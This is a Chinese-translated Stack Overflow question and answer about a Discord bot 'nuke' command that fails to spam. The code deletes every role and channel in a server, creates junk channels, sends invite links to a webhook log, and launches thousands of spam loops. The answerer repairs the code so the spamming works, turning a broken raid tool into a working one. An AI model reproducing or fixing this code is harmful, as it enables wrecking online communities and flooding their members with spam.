所以我得到了一个错误:
/usr/lib/python3.8/threading.py:870: RuntimeWarning: coroutine 'mspammer' was never awaited
self._target(*self._args, **self._kwargs)
RuntimeWarning: Enable tracemalloc to get the object allocation traceback
下面是代码的一部分:
async def mspammer(channel: discord.TextChannel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await asyncio.sleep(0.5)
@client.command()
async def nuke(ctx: commands.Context):
everyonespam = True
await ctx.message.delete()
guild = ctx.guild
amount = 6000
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"Role '{role.name}' has been deleted " + Fore.RESET)
except:
print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
for i in range(10):
await guild.create_category(random.choice(SPAM_CATEGORY))
channela = await guild.create_text_channel('cacti on top')
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 0)
link = str(link)
webhooklog.send('NEW LINK: ' + link)
await channela.send(random.choice(SPAM_MESSAGE))
for i in range(amount):
_ = Thread(target=mspammer, args=(channel,))
_.start()
channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
代码应该在其中创建频道和垃圾邮件。但它只会创建频道,而不会在其中垃圾邮件。你知道有什么问题吗?
发布于 2022-02-04 09:30:26
编辑
我编辑了我的答案,以确保它的工作。
import asyncio
async def mspam(channel: discord.TextChannel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await asyncio.sleep(0.5)
def spam(channel):
asyncio.run(mspam(channel))
@client.command()
async def nuke(ctx: commands.Context):
everyonespam = True
await ctx.message.delete()
guild = ctx.guild
amount = 6000
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"Role '{role.name}' has been deleted " + Fore.RESET)
except:
print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
for i in range(10):
await guild.create_category(random.choice(SPAM_CATEGORY))
channela = await guild.create_text_channel('cacti on top')
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 0)
link = str(link)
webhooklog.send('NEW LINK: ' + link)
await channela.send(random.choice(SPAM_MESSAGE))
for i in range(amount):
channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
spam(channel)
旧邮政
是的,您不能使用线程运行隔离脚本。一个带有一个函数的简单方法也应该能工作,因为创建一个通道不会等待任何事情。
async def mspammer(channel: discord.TextChannel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await asyncio.sleep(0.5)
@client.command()
async def nuke(ctx: commands.Context):
everyonespam = True
await ctx.message.delete()
guild = ctx.guild
amount = 6000
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"Role '{role.name}' has been deleted " + Fore.RESET)
except:
print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
for i in range(10):
await guild.create_category(random.choice(SPAM_CATEGORY))
channela = await guild.create_text_channel('cacti on top')
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 0)
link = str(link)
webhooklog.send('NEW LINK: ' + link)
await channela.send(random.choice(SPAM_MESSAGE))
for i in range(amount):
_ = Thread(target=mspammer, args=(channel,))
_.start()
channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await asyncio.sleep(0.5)
唯一的错误是线程模块不支持等待的功能,因为它直接运行脚本。
https://stackoverflow.com/questions/70983991
复制相似问题